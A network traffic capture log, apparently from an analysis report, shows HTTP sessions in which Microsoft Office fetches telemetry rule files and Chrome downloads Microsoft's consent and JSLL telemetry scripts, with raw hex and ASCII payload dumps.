2024-11-24 07:44:29 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.10	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:28 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:29 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074429Z-174c587ffdfdwxdvhC1TEB1c4n000000041g00000000adqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:29 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.10	49851	13.107.246.63	443	7560	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:29 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 07:44:30 UTC	712	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:30 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2336 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bc63358d-901e-007b-6c3f-3e6fdd000000 x-ms-version: 2009-09-19 x-azure-ref: 20241124T074429Z-178bfbc474bxkclvhC1NYC69g400000005q0000000001ngh Accept-Ranges: bytes
2024-11-24 07:44:30 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-24 07:44:30 UTC	712	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-24 07:44:30 UTC	16383	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-24 07:44:30 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.10	49852	13.107.246.63	443	7560	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:29 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 07:44:30 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:30 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T074430Z-178bfbc474bnwsh4hC1NYC2ubs00000005ug000000001ezd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:30 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-24 07:44:30 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 